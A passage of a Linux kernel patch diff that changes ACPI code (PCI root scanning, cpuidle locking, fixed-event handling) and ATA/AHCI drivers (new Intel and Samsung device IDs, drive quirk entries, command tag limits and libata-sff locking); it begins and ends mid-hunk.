ACPI_DEBUG_PRINT((ACPI_DB_NAMES, - "\nRemoved [%4.4s] address range: 0x%p-0x%p\n", + "\nRemoved [%4.4s] address range: 0x%8.8X%8.8X-0x%8.8X%8.8X\n", acpi_ut_get_node_name(range_info-> region_node), - ACPI_CAST_PTR(void, - range_info-> - start_address), - ACPI_CAST_PTR(void, - range_info-> - end_address))); + ACPI_FORMAT_UINT64(range_info-> + start_address), + ACPI_FORMAT_UINT64(range_info-> + end_address))); ACPI_FREE(range_info); return_VOID; @@ -244,9 +242,9 @@ acpi_ut_check_address_range(acpi_adr_space_type space_id, region_node); ACPI_WARNING((AE_INFO, - "0x%p-0x%p %s conflicts with Region %s %d", - ACPI_CAST_PTR(void, address), - ACPI_CAST_PTR(void, end_address), + "0x%8.8X%8.8X-0x%8.8X%8.8X %s conflicts with Region %s %d", + ACPI_FORMAT_UINT64(address), + ACPI_FORMAT_UINT64(end_address), acpi_ut_get_region_name(space_id), pathname, overlap_count)); ACPI_FREE(pathname); diff --git a/drivers/acpi/acpica/utcopy.c b/drivers/acpi/acpica/utcopy.c index e4c9291fc0a3f..a63a4cdd2ce83 100644 --- a/drivers/acpi/acpica/utcopy.c +++ b/drivers/acpi/acpica/utcopy.c @@ -998,5 +998,11 @@ acpi_ut_copy_iobject_to_iobject(union acpi_operand_object *source_desc, status = acpi_ut_copy_simple_object(source_desc, *dest_desc); } + /* Delete the allocated object if copy failed */ + + if (ACPI_FAILURE(status)) { + acpi_ut_remove_reference(*dest_desc); + } + return_ACPI_STATUS(status); } diff --git a/drivers/acpi/acpica/utxfinit.c b/drivers/acpi/acpica/utxfinit.c index 41ebaaf8bb1a4..ee58a62443bd5 100644 --- a/drivers/acpi/acpica/utxfinit.c +++ b/drivers/acpi/acpica/utxfinit.c @@ -165,10 +165,12 @@ acpi_status acpi_enable_subsystem(u32 flags) * Obtain a permanent mapping for the FACS. This is required for the * Global Lock and the Firmware Waking Vector */ - status = acpi_tb_initialize_facs(); - if (ACPI_FAILURE(status)) { - ACPI_WARNING((AE_INFO, "Could not map the FACS table")); - return_ACPI_STATUS(status); + if (!(flags & ACPI_NO_FACS_INIT)) { + status = acpi_tb_initialize_facs(); + if (ACPI_FAILURE(status)) { + ACPI_WARNING((AE_INFO, "Could not map the FACS table")); + return_ACPI_STATUS(status); + } } #endif /* !ACPI_REDUCED_HARDWARE */ diff --git a/drivers/acpi/osl.c b/drivers/acpi/osl.c index e72186340fec5..11441ad69de3f 100644 --- a/drivers/acpi/osl.c +++ b/drivers/acpi/osl.c @@ -173,7 +173,7 @@ static void __init acpi_request_region (struct acpi_generic_address *gas, request_mem_region(addr, length, desc); } -static int __init acpi_reserve_resources(void) +static void __init acpi_reserve_resources(void) { acpi_request_region(&acpi_gbl_FADT.xpm1a_event_block, acpi_gbl_FADT.pm1_event_length, "ACPI PM1a_EVT_BLK"); @@ -202,10 +202,7 @@ static int __init acpi_reserve_resources(void) if (!(acpi_gbl_FADT.gpe1_block_length & 0x1)) acpi_request_region(&acpi_gbl_FADT.xgpe1_block, acpi_gbl_FADT.gpe1_block_length, "ACPI GPE1_BLK"); - - return 0; } -device_initcall(acpi_reserve_resources); void acpi_os_printf(const char *fmt, ...) { @@ -1727,6 +1724,7 @@ acpi_status __init acpi_os_initialize(void) acpi_status __init acpi_os_initialize1(void) { + acpi_reserve_resources(); kacpid_wq = alloc_workqueue("kacpid", 0, 1); kacpi_notify_wq = alloc_workqueue("kacpi_notify", 0, 1); kacpi_hotplug_wq = alloc_workqueue("kacpi_hotplug", 0, 1); diff --git a/drivers/acpi/pci_root.c b/drivers/acpi/pci_root.c index a02a91cd1de4d..c5e3dd93865a8 100644 --- a/drivers/acpi/pci_root.c +++ b/drivers/acpi/pci_root.c @@ -385,6 +385,7 @@ static int acpi_pci_root_add(struct acpi_device *device, int result; struct acpi_pci_root *root; u32 flags, base_flags; + bool no_aspm = false, clear_aspm = false; root = kzalloc(sizeof(struct acpi_pci_root), GFP_KERNEL); if (!root) @@ -445,31 +446,10 @@ static int acpi_pci_root_add(struct acpi_device *device, flags = base_flags = OSC_PCI_SEGMENT_GROUPS_SUPPORT; acpi_pci_osc_support(root, flags); - /* - * TBD: Need PCI interface for enumeration/configuration of roots. - */ - mutex_lock(&acpi_pci_root_lock); list_add_tail(&root->node, &acpi_pci_roots); mutex_unlock(&acpi_pci_root_lock); - /* - * Scan the Root Bridge - * -------------------- - * Must do this prior to any attempt to bind the root device, as the - * PCI namespace does not get created until this call is made (and - * thus the root bridge's pci_dev does not exist). - */ - root->bus = pci_acpi_scan_root(root); - if (!root->bus) { - printk(KERN_ERR PREFIX - "Bus %04x:%02x not present in PCI namespace\n", - root->segment, (unsigned int)root->secondary.start); - result = -ENODEV; - goto out_del_root; - } - - /* Indicate support for various _OSC capabilities. */ if (pci_ext_cfg_avail()) flags |= OSC_EXT_PCI_CONFIG_SUPPORT; if (pcie_aspm_support_enabled()) { @@ -483,7 +463,7 @@ static int acpi_pci_root_add(struct acpi_device *device, if (ACPI_FAILURE(status)) { dev_info(&device->dev, "ACPI _OSC support " "notification failed, disabling PCIe ASPM\n"); - pcie_no_aspm(); + no_aspm = true; flags = base_flags; } } @@ -515,7 +495,7 @@ static int acpi_pci_root_add(struct acpi_device *device, * We have ASPM control, but the FADT indicates * that it's unsupported. Clear it. */ - pcie_clear_aspm(root->bus); + clear_aspm = true; } } else { dev_info(&device->dev, @@ -524,7 +504,14 @@ static int acpi_pci_root_add(struct acpi_device *device, acpi_format_exception(status), flags); pr_info("ACPI _OSC control for PCIe not granted, " "disabling ASPM\n"); - pcie_no_aspm(); + /* + * We want to disable ASPM here, but aspm_disabled + * needs to remain in its state from boot so that we + * properly handle PCIe 1.1 devices. So we set this + * flag here, to defer the action until after the ACPI + * root scan. + */ + no_aspm = true; } } else { dev_info(&device->dev, @@ -532,6 +519,33 @@ static int acpi_pci_root_add(struct acpi_device *device, "(_OSC support mask: 0x%02x)\n", flags); } + /* + * TBD: Need PCI interface for enumeration/configuration of roots. + */ + + /* + * Scan the Root Bridge + * -------------------- + * Must do this prior to any attempt to bind the root device, as the + * PCI namespace does not get created until this call is made (and + * thus the root bridge's pci_dev does not exist). + */ + root->bus = pci_acpi_scan_root(root); + if (!root->bus) { + dev_err(&device->dev, + "Bus %04x:%02x not present in PCI namespace\n", + root->segment, (unsigned int)root->secondary.start); + result = -ENODEV; + goto end; + } + + if (clear_aspm) { + dev_info(&device->dev, "Disabling ASPM (FADT indicates it is unsupported)\n"); + pcie_clear_aspm(root->bus); + } + if (no_aspm) + pcie_no_aspm(); + pci_acpi_add_bus_pm_notifier(device, root->bus); if (device->wakeup.flags.run_wake) device_set_run_wake(root->bus->bridge, true); @@ -548,11 +562,6 @@ static int acpi_pci_root_add(struct acpi_device *device, pci_bus_add_devices(root->bus); return 1; -out_del_root: - mutex_lock(&acpi_pci_root_lock); - list_del(&root->node); - mutex_unlock(&acpi_pci_root_lock); - end: kfree(root); return result; diff --git a/drivers/acpi/processor_idle.c b/drivers/acpi/processor_idle.c index 4056d3175178d..c991fe680e589 100644 --- a/drivers/acpi/processor_idle.c +++ b/drivers/acpi/processor_idle.c @@ -978,7 +978,7 @@ static int acpi_processor_setup_cpuidle_states(struct acpi_processor *pr) return -EINVAL; drv->safe_state_index = -1; - for (i = 0; i < CPUIDLE_STATE_MAX; i++) { + for (i = CPUIDLE_DRIVER_STATE_START; i < CPUIDLE_STATE_MAX; i++) { drv->states[i].name[0] = '\0'; drv->states[i].desc[0] = '\0'; } @@ -1101,9 +1101,9 @@ int acpi_processor_cst_has_changed(struct acpi_processor *pr) if (pr->id == 0 && cpuidle_get_driver() == &acpi_idle_driver) { - cpuidle_pause_and_lock(); /* Protect against cpu-hotplug */ get_online_cpus(); + cpuidle_pause_and_lock(); /* Disable all cpuidle devices */ for_each_online_cpu(cpu) { @@ -1130,8 +1130,8 @@ int acpi_processor_cst_has_changed(struct acpi_processor *pr) cpuidle_enable_device(dev); } } - put_online_cpus(); cpuidle_resume_and_unlock(); + put_online_cpus(); } return 0; diff --git a/drivers/acpi/scan.c b/drivers/acpi/scan.c index cca761e80d898..091682fb16170 100644 --- a/drivers/acpi/scan.c +++ b/drivers/acpi/scan.c @@ -769,12 +769,17 @@ static void acpi_device_notify(acpi_handle handle, u32 event, void *data) device->driver->ops.notify(device, event); } -static acpi_status acpi_device_notify_fixed(void *data) +static void acpi_device_notify_fixed(void *data) { struct acpi_device *device = data; /* Fixed hardware devices have no handles */ acpi_device_notify(NULL, ACPI_FIXED_HARDWARE_EVENT, device); +} + +static acpi_status acpi_device_fixed_event(void *data) +{ + acpi_os_execute(OSL_NOTIFY_HANDLER, acpi_device_notify_fixed, data); return AE_OK; } @@ -785,12 +790,12 @@ static int acpi_device_install_notify_handler(struct acpi_device *device) if (device->device_type == ACPI_BUS_TYPE_POWER_BUTTON) status = acpi_install_fixed_event_handler(ACPI_EVENT_POWER_BUTTON, - acpi_device_notify_fixed, + acpi_device_fixed_event, device); else if (device->device_type == ACPI_BUS_TYPE_SLEEP_BUTTON) status = acpi_install_fixed_event_handler(ACPI_EVENT_SLEEP_BUTTON, - acpi_device_notify_fixed, + acpi_device_fixed_event, device); else status = acpi_install_notify_handler(device->handle, @@ -807,10 +812,10 @@ static void acpi_device_remove_notify_handler(struct acpi_device *device) { if (device->device_type == ACPI_BUS_TYPE_POWER_BUTTON) acpi_remove_fixed_event_handler(ACPI_EVENT_POWER_BUTTON, - acpi_device_notify_fixed); + acpi_device_fixed_event); else if (device->device_type == ACPI_BUS_TYPE_SLEEP_BUTTON) acpi_remove_fixed_event_handler(ACPI_EVENT_SLEEP_BUTTON, - acpi_device_notify_fixed); + acpi_device_fixed_event); else acpi_remove_notify_handler(device->handle, ACPI_DEVICE_NOTIFY, acpi_device_notify); diff --git a/drivers/acpi/sysfs.c b/drivers/acpi/sysfs.c index fcae5fa2e1b32..95b6371e1fe7f 100644 --- a/drivers/acpi/sysfs.c +++ b/drivers/acpi/sysfs.c @@ -492,23 +492,22 @@ static void acpi_global_event_handler(u32 event_type, acpi_handle device, static int get_status(u32 index, acpi_event_status *status, acpi_handle *handle) { - int result = 0; + int result; if (index >= num_gpes + ACPI_NUM_FIXED_EVENTS) - goto end; + return -EINVAL; if (index < num_gpes) { result = acpi_get_gpe_device(index, handle); if (result) { ACPI_EXCEPTION((AE_INFO, AE_NOT_FOUND, "Invalid GPE 0x%x", index)); - goto end; + return result; } result = acpi_get_gpe_status(*handle, index, status); } else if (index < (num_gpes + ACPI_NUM_FIXED_EVENTS)) result = acpi_get_event_status(index - num_gpes, status); -end: return result; } diff --git a/drivers/acpi/video.c b/drivers/acpi/video.c index 82a01cc45f9cb..0dc9ff61d7c2e 100644 --- a/drivers/acpi/video.c +++ b/drivers/acpi/video.c @@ -1953,6 +1953,17 @@ EXPORT_SYMBOL(acpi_video_unregister); static int __init acpi_video_init(void) { + /* + * Let the module load even if ACPI is disabled (e.g. due to + * a broken BIOS) so that i915.ko can still be loaded on such + * old systems without an AcpiOpRegion. + * + * acpi_video_register() will report -ENODEV later as well due + * to acpi_disabled when i915.ko tries to register itself afterwards. + */ + if (acpi_disabled) + return 0; + dmi_check_system(video_dmi_table); if (intel_opregion_present()) diff --git a/drivers/ata/ahci.c b/drivers/ata/ahci.c index b0d33d9533aaa..cb106934bf1c3 100644 --- a/drivers/ata/ahci.c +++ b/drivers/ata/ahci.c @@ -61,6 +61,7 @@ enum board_ids { /* board IDs by feature in alphabetical order */ board_ahci, board_ahci_ign_iferr, + board_ahci_nomsi, board_ahci_noncq, board_ahci_nosntf, board_ahci_yes_fbs, @@ -120,6 +121,13 @@ static const struct ata_port_info ahci_port_info[] = { .udma_mask = ATA_UDMA6, .port_ops = &ahci_ops, }, + [board_ahci_nomsi] = { + AHCI_HFLAGS (AHCI_HFLAG_NO_MSI), + .flags = AHCI_FLAG_COMMON, + .pio_mask = ATA_PIO4, + .udma_mask = ATA_UDMA6, + .port_ops = &ahci_ops, + }, [board_ahci_noncq] = { AHCI_HFLAGS (AHCI_HFLAG_NO_NCQ), .flags = AHCI_FLAG_COMMON, @@ -239,6 +247,26 @@ static const struct pci_device_id ahci_pci_tbl[] = { { PCI_VDEVICE(INTEL, 0x3b2b), board_ahci }, /* PCH RAID */ { PCI_VDEVICE(INTEL, 0x3b2c), board_ahci }, /* PCH RAID */ { PCI_VDEVICE(INTEL, 0x3b2f), board_ahci }, /* PCH AHCI */ + { PCI_VDEVICE(INTEL, 0x19b0), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19b1), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19b2), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19b3), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19b4), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19b5), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19b6), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19b7), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19bE), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19bF), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19c0), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19c1), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19c2), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19c3), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19c4), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19c5), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19c6), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19c7), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19cE), board_ahci }, /* DNV AHCI */ + { PCI_VDEVICE(INTEL, 0x19cF), board_ahci }, /* DNV AHCI */ { PCI_VDEVICE(INTEL, 0x1c02), board_ahci }, /* CPT AHCI */ { PCI_VDEVICE(INTEL, 0x1c03), board_ahci }, /* CPT AHCI */ { PCI_VDEVICE(INTEL, 0x1c04), board_ahci }, /* CPT RAID */ @@ -304,6 +332,22 @@ static const struct pci_device_id ahci_pci_tbl[] = { { PCI_VDEVICE(INTEL, 0x9c85), board_ahci }, /* Wildcat Point-LP RAID */ { PCI_VDEVICE(INTEL, 0x9c87), board_ahci }, /* Wildcat Point-LP RAID */ { PCI_VDEVICE(INTEL, 0x9c8f), board_ahci }, /* Wildcat Point-LP RAID */ + { PCI_VDEVICE(INTEL, 0x8c82), board_ahci }, /* 9 Series AHCI */ + { PCI_VDEVICE(INTEL, 0x8c83), board_ahci }, /* 9 Series AHCI */ + { PCI_VDEVICE(INTEL, 0x8c84), board_ahci }, /* 9 Series RAID */ + { PCI_VDEVICE(INTEL, 0x8c85), board_ahci }, /* 9 Series RAID */ + { PCI_VDEVICE(INTEL, 0x8c86), board_ahci }, /* 9 Series RAID */ + { PCI_VDEVICE(INTEL, 0x8c87), board_ahci }, /* 9 Series RAID */ + { PCI_VDEVICE(INTEL, 0x8c8e), board_ahci }, /* 9 Series RAID */ + { PCI_VDEVICE(INTEL, 0x8c8f), board_ahci }, /* 9 Series RAID */ + { PCI_VDEVICE(INTEL, 0x9d03), board_ahci }, /* Sunrise Point-LP AHCI */ + { PCI_VDEVICE(INTEL, 0x9d05), board_ahci }, /* Sunrise Point-LP RAID */ + { PCI_VDEVICE(INTEL, 0x9d07), board_ahci }, /* Sunrise Point-LP RAID */ + { PCI_VDEVICE(INTEL, 0xa103), board_ahci }, /* Sunrise Point-H AHCI */ + { PCI_VDEVICE(INTEL, 0xa103), board_ahci }, /* Sunrise Point-H RAID */ + { PCI_VDEVICE(INTEL, 0xa105), board_ahci }, /* Sunrise Point-H RAID */ + { PCI_VDEVICE(INTEL, 0xa107), board_ahci }, /* Sunrise Point-H RAID */ + { PCI_VDEVICE(INTEL, 0xa10f), board_ahci }, /* Sunrise Point-H RAID */ /* JMicron 360/1/3/5/6, match class to avoid IDE function */ { PCI_VENDOR_ID_JMICRON, PCI_ANY_ID, PCI_ANY_ID, PCI_ANY_ID, @@ -441,6 +485,8 @@ static const struct pci_device_id ahci_pci_tbl[] = { { PCI_DEVICE(PCI_VENDOR_ID_MARVELL_EXT, 0x917a), .driver_data = board_ahci_yes_fbs }, /* 88se9172 */ { PCI_DEVICE(PCI_VENDOR_ID_MARVELL_EXT, 0x9172), + .driver_data = board_ahci_yes_fbs }, /* 88se9182 */ + { PCI_DEVICE(PCI_VENDOR_ID_MARVELL_EXT, 0x9182), .driver_data = board_ahci_yes_fbs }, /* 88se9172 */ { PCI_DEVICE(PCI_VENDOR_ID_MARVELL_EXT, 0x9192), .driver_data = board_ahci_yes_fbs }, /* 88se9172 on some Gigabyte */ @@ -455,6 +501,7 @@ static const struct pci_device_id ahci_pci_tbl[] = { /* Promise */ { PCI_VDEVICE(PROMISE, 0x3f20), board_ahci }, /* PDC42819 */ + { PCI_VDEVICE(PROMISE, 0x3781), board_ahci }, /* FastTrak TX8660 ahci-mode */ /* Asmedia */ { PCI_VDEVICE(ASMEDIA, 0x0601), board_ahci }, /* ASM1060 */ @@ -463,10 +510,11 @@ static const struct pci_device_id ahci_pci_tbl[] = { { PCI_VDEVICE(ASMEDIA, 0x0612), board_ahci }, /* ASM1062 */ /* - * Samsung SSDs found on some macbooks. NCQ times out. - * https://bugzilla.kernel.org/show_bug.cgi?id=60731 + * Samsung SSDs found on some macbooks. NCQ times out if MSI is + * enabled. https://bugzilla.kernel.org/show_bug.cgi?id=60731 */ - { PCI_VDEVICE(SAMSUNG, 0x1600), board_ahci_noncq }, + { PCI_VDEVICE(SAMSUNG, 0x1600), board_ahci_nomsi }, + { PCI_VDEVICE(SAMSUNG, 0xa800), board_ahci_nomsi }, /* Enmotus */ { PCI_DEVICE(0x1c44, 0x8000), board_ahci }, diff --git a/drivers/ata/ata_piix.c b/drivers/ata/ata_piix.c index b92913a528b61..82aa7b550ea51 100644 --- a/drivers/ata/ata_piix.c +++ b/drivers/ata/ata_piix.c @@ -340,6 +340,14 @@ static const struct pci_device_id piix_pci_tbl[] = { { 0x8086, 0x0F21, PCI_ANY_ID, PCI_ANY_ID, 0, 0, ich8_2port_sata_byt }, /* SATA Controller IDE (Coleto Creek) */ { 0x8086, 0x23a6, PCI_ANY_ID, PCI_ANY_ID, 0, 0, ich8_2port_sata }, + /* SATA Controller IDE (9 Series) */ + { 0x8086, 0x8c88, PCI_ANY_ID, PCI_ANY_ID, 0, 0, ich8_2port_sata_snb }, + /* SATA Controller IDE (9 Series) */ + { 0x8086, 0x8c89, PCI_ANY_ID, PCI_ANY_ID, 0, 0, ich8_2port_sata_snb }, + /* SATA Controller IDE (9 Series) */ + { 0x8086, 0x8c80, PCI_ANY_ID, PCI_ANY_ID, 0, 0, ich8_sata_snb }, + /* SATA Controller IDE (9 Series) */ + { 0x8086, 0x8c81, PCI_ANY_ID, PCI_ANY_ID, 0, 0, ich8_sata_snb }, { } /* terminate list */ }; diff --git a/drivers/ata/libahci.c b/drivers/ata/libahci.c index 8905e03a53a24..d04f5c8dbbdc4 100644 --- a/drivers/ata/libahci.c +++ b/drivers/ata/libahci.c @@ -486,8 +486,8 @@ void ahci_save_initial_config(struct device *dev, } } - /* fabricate port_map from cap.nr_ports */ - if (!port_map) { + /* fabricate port_map from cap.nr_ports for < AHCI 1.3 */ + if (!port_map && vers < 0x10300) { port_map = (1 << ahci_nr_ports(cap)) - 1; dev_warn(dev, "forcing PORTS_IMPL to 0x%x\n", port_map); @@ -1244,6 +1244,15 @@ static int ahci_exec_polled_cmd(struct ata_port *ap, int pmp, ata_tf_to_fis(tf, pmp, is_cmd, fis); ahci_fill_cmd_slot(pp, 0, cmd_fis_len | flags | (pmp << 12)); + /* set port value for softreset of Port Multiplier */ + if (pp->fbs_enabled && pp->fbs_last_dev != pmp) { + tmp = readl(port_mmio + PORT_FBS); + tmp &= ~(PORT_FBS_DEV_MASK | PORT_FBS_DEC); + tmp |= pmp << PORT_FBS_DEV_OFFSET; + writel(tmp, port_mmio + PORT_FBS); + pp->fbs_last_dev = pmp; + } + /* issue & wait */ writel(1, port_mmio + PORT_CMD_ISSUE); @@ -1684,8 +1693,7 @@ static void ahci_handle_port_interrupt(struct ata_port *ap, if (unlikely(resetting)) status &= ~PORT_IRQ_BAD_PMP; - /* if LPM is enabled, PHYRDY doesn't mean anything */ - if (ap->link.lpm_policy > ATA_LPM_MAX_POWER) { + if (sata_lpm_ignore_phy_events(&ap->link)) { status &= ~PORT_IRQ_PHYRDY; ahci_scr_write(&ap->link, SCR_ERROR, SERR_PHYRDY_CHG); } diff --git a/drivers/ata/libata-core.c b/drivers/ata/libata-core.c index bf00fbcde8ad0..53d35b6fd8bb4 100644 --- a/drivers/ata/libata-core.c +++ b/drivers/ata/libata-core.c @@ -4150,9 +4150,10 @@ static const struct ata_blacklist_entry ata_device_blacklist [] = { { "ST3320[68]13AS", "SD1[5-9]", ATA_HORKAGE_NONCQ | ATA_HORKAGE_FIRMWARE_WARN }, - /* Seagate Momentus SpinPoint M8 seem to have FPMDA_AA issues */ + /* drives which fail FPDMA_AA activation (some may freeze afterwards) */ { "ST1000LM024 HN-M101MBB", "2AR10001", ATA_HORKAGE_BROKEN_FPDMA_AA }, { "ST1000LM024 HN-M101MBB", "2BA30001", ATA_HORKAGE_BROKEN_FPDMA_AA }, + { "VB0250EAVER", "HPG7", ATA_HORKAGE_BROKEN_FPDMA_AA }, /* Blacklist entries taken from Silicon Image 3124/3132 Windows driver .inf file - also several Linux problem reports */ @@ -4200,6 +4201,9 @@ static const struct ata_blacklist_entry ata_device_blacklist [] = { { "PIONEER DVD-RW DVR-212D", NULL, ATA_HORKAGE_NOSETXFER }, { "PIONEER DVD-RW DVR-216D", NULL, ATA_HORKAGE_NOSETXFER }, + /* devices that don't properly handle TRIM commands */ + { "SuperSSpeed S238*", NULL, ATA_HORKAGE_NOTRIM, }, + /* * Some WD SATA-I drives spin up and down erratically when the link * is put into the slumber mode. We don't have full list of the @@ -4504,7 +4508,8 @@ static unsigned int ata_dev_set_xfermode(struct ata_device *dev) else /* In the ancient relic department - skip all of this */ return 0; - err_mask = ata_exec_internal(dev, &tf, NULL, DMA_NONE, NULL, 0, 0); + /* On some disks, this command causes spin-up, so we need longer timeout */ + err_mask = ata_exec_internal(dev, &tf, NULL, DMA_NONE, NULL, 0, 15000); DPRINTK("EXIT, err_mask=%x\n", err_mask); return err_mask; @@ -4758,6 +4763,10 @@ void swap_buf_le16(u16 *buf, unsigned int buf_words) * ata_qc_new - Request an available ATA command, for queueing * @ap: target port * + * Some ATA host controllers may implement a queue depth which is less + * than ATA_MAX_QUEUE. So we shouldn't allocate a tag which is beyond + * the hardware limitation. + * * LOCKING: * None. */ @@ -4765,14 +4774,15 @@ void swap_buf_le16(u16 *buf, unsigned int buf_words) static struct ata_queued_cmd *ata_qc_new(struct ata_port *ap) { struct ata_queued_cmd *qc = NULL; + unsigned int max_queue = ap->host->n_tags; unsigned int i, tag; /* no command while frozen */ if (unlikely(ap->pflags & ATA_PFLAG_FROZEN)) return NULL; - for (i = 0; i < ATA_MAX_QUEUE; i++) { - tag = (i + ap->last_tag + 1) % ATA_MAX_QUEUE; + for (i = 0, tag = ap->last_tag + 1; i < max_queue; i++, tag++) { + tag = tag < max_queue ? tag : 0; /* the last tag is reserved for internal command. */ if (tag == ATA_TAG_INTERNAL) @@ -6073,6 +6083,7 @@ void ata_host_init(struct ata_host *host, struct device *dev, { spin_lock_init(&host->lock); mutex_init(&host->eh_mutex); + host->n_tags = ATA_MAX_QUEUE - 1; host->dev = dev; host->ops = ops; } @@ -6154,6 +6165,8 @@ int ata_host_register(struct ata_host *host, struct scsi_host_template *sht) { int i, rc; + host->n_tags = clamp(sht->can_queue, 1, ATA_MAX_QUEUE - 1); + /* host must have been started */ if (!(host->flags & ATA_HOST_STARTED)) { dev_err(host->dev, "BUG: trying to register unstarted host\n"); @@ -6792,6 +6805,38 @@ u32 ata_wait_register(struct ata_port *ap, void __iomem *reg, u32 mask, u32 val, return tmp; } +/** + * sata_lpm_ignore_phy_events - test if PHY event should be ignored + * @link: Link receiving the event + * + * Test whether the received PHY event has to be ignored or not. + * + * LOCKING: + * None: + * + * RETURNS: + * True if the event has to be ignored. + */ +bool sata_lpm_ignore_phy_events(struct ata_link *link) +{ + unsigned long lpm_timeout = link->last_lpm_change + + msecs_to_jiffies(ATA_TMOUT_SPURIOUS_PHY); + + /* if LPM is enabled, PHYRDY doesn't mean anything */ + if (link->lpm_policy > ATA_LPM_MAX_POWER) + return true; + + /* ignore the first PHY event after the LPM policy changed + * as it is might be spurious + */ + if ((link->flags & ATA_LFLAG_CHANGED) && + time_before(jiffies, lpm_timeout)) + return true; + + return false; +} +EXPORT_SYMBOL_GPL(sata_lpm_ignore_phy_events); + /* * Dummy port_ops */ diff --git a/drivers/ata/libata-eh.c b/drivers/ata/libata-eh.c index 370462fa8e01a..126eb86f239fd 100644 --- a/drivers/ata/libata-eh.c +++ b/drivers/ata/libata-eh.c @@ -604,7 +604,7 @@ void ata_scsi_error(struct Scsi_Host *host) ata_scsi_port_error_handler(host, ap); /* finish or retry handled scmd's and clean up */ - WARN_ON(host->host_failed || !list_empty(&eh_work_q)); + WARN_ON(!list_empty(&eh_work_q)); DPRINTK("EXIT\n"); } @@ -3481,6 +3481,9 @@ static int ata_eh_set_lpm(struct ata_link *link, enum ata_lpm_policy policy, } } + link->last_lpm_change = jiffies; + link->flags |= ATA_LFLAG_CHANGED; + return 0; fail: diff --git a/drivers/ata/libata-pmp.c b/drivers/ata/libata-pmp.c index 7ccc084bf1dfb..85aa76116a305 100644 --- a/drivers/ata/libata-pmp.c +++ b/drivers/ata/libata-pmp.c @@ -460,6 +460,13 @@ static void sata_pmp_quirks(struct ata_port *ap) ATA_LFLAG_NO_SRST | ATA_LFLAG_ASSUME_ATA; } + } else if (vendor == 0x11ab && devid == 0x4140) { + /* Marvell 4140 quirks */ + ata_for_each_link(link, ap, EDGE) { + /* port 4 is for SEMB device and it doesn't like SRST */ + if (link->pmp == 4) + link->flags |= ATA_LFLAG_DISABLED; + } } } diff --git a/drivers/ata/libata-scsi.c b/drivers/ata/libata-scsi.c index 9933b4db7caf4..f3f0801a0e815 100644 --- a/drivers/ata/libata-scsi.c +++ b/drivers/ata/libata-scsi.c @@ -673,19 +673,18 @@ static int ata_ioc32(struct ata_port *ap) int ata_sas_scsi_ioctl(struct ata_port *ap, struct scsi_device *scsidev, int cmd, void __user *arg) { - int val = -EINVAL, rc = -EINVAL; + unsigned long val; + int rc = -EINVAL; unsigned long flags; switch (cmd) { - case ATA_IOC_GET_IO32: + case HDIO_GET_32BIT: spin_lock_irqsave(ap->lock, flags); val = ata_ioc32(ap); spin_unlock_irqrestore(ap->lock, flags); - if (copy_to_user(arg, &val, 1)) - return -EFAULT; - return 0; + return put_user(val, (unsigned long __user *)arg); - case ATA_IOC_SET_IO32: + case HDIO_SET_32BIT: val = (unsigned long) arg; rc = 0; spin_lock_irqsave(ap->lock, flags); @@ -2512,7 +2511,8 @@ static unsigned int ata_scsiop_read_cap(struct ata_scsi_args *args, u8 *rbuf) rbuf[14] = (lowest_aligned >> 8) & 0x3f; rbuf[15] = lowest_aligned; - if (ata_id_has_trim(args->id)) { + if (ata_id_has_trim(args->id) && + !(dev->horkage & ATA_HORKAGE_NOTRIM)) { rbuf[14] |= 0x80; /* TPE */ if (ata_id_has_zero_after_trim(args->id)) diff --git a/drivers/ata/libata-sff.c b/drivers/ata/libata-sff.c index b603720b877dd..96e5ed1886366 100644 --- a/drivers/ata/libata-sff.c +++ b/drivers/ata/libata-sff.c @@ -997,12 +997,9 @@ static inline int ata_hsm_ok_in_wq(struct ata_port *ap, static void ata_hsm_qc_complete(struct ata_queued_cmd *qc, int in_wq) { struct ata_port *ap = qc->ap; - unsigned long flags; if (ap->ops->error_handler) { if (in_wq) { - spin_lock_irqsave(ap->lock, flags); - /* EH might have kicked in while host lock is * released. */ @@ -1014,8 +1011,6 @@ static void ata_hsm_qc_complete(struct ata_queued_cmd *qc, int in_wq) } else ata_port_freeze(ap); } - - spin_unlock_irqrestore(ap->lock, flags); } else { if (likely(!(qc->err_mask & AC_ERR_HSM))) ata_qc_complete(qc); @@ -1024,10 +1019,8 @@ static void ata_hsm_qc_complete(struct ata_queued_cmd *qc, int in_wq) } } else { if (in_wq) { - spin_lock_irqsave(ap->lock, flags); ata_sff_irq_on(ap); ata_qc_complete(qc); - spin_unlock_irqrestore(ap->lock, flags); } else ata_qc_complete(qc); } @@ -1048,9 +1041,10 @@ int ata_sff_hsm_move(struct ata_port *ap, struct ata_queued_cmd *qc, { struct ata_link *link = qc->dev->link; struct ata_eh_info *ehi = &link->eh_info; - unsigned long flags = 0; int poll_next; + lockdep_assert_held(ap->lock); + WARN_ON_ONCE((qc->flags & ATA_QCFLAG_ACTIVE) == 0); /* Make sure ata_sff_qc_issue() does not throw things @@ -1112,14 +1106,6 @@ int ata_sff_hsm_move(struct ata_port *ap, struct ata_queued_cmd *qc, } } - /* Send the CDB (atapi) or the first data block (ata pio out). - * During the state transition, interrupt handler shouldn't - * be invoked before the data transfer is complete and - * hsm_task_state is changed. Hence, the following locking. - */ - if (in_wq) - spin_lock_irqsave(ap->lock, flags); - if (qc->tf.protocol == ATA_PROT_PIO) { /* PIO data out 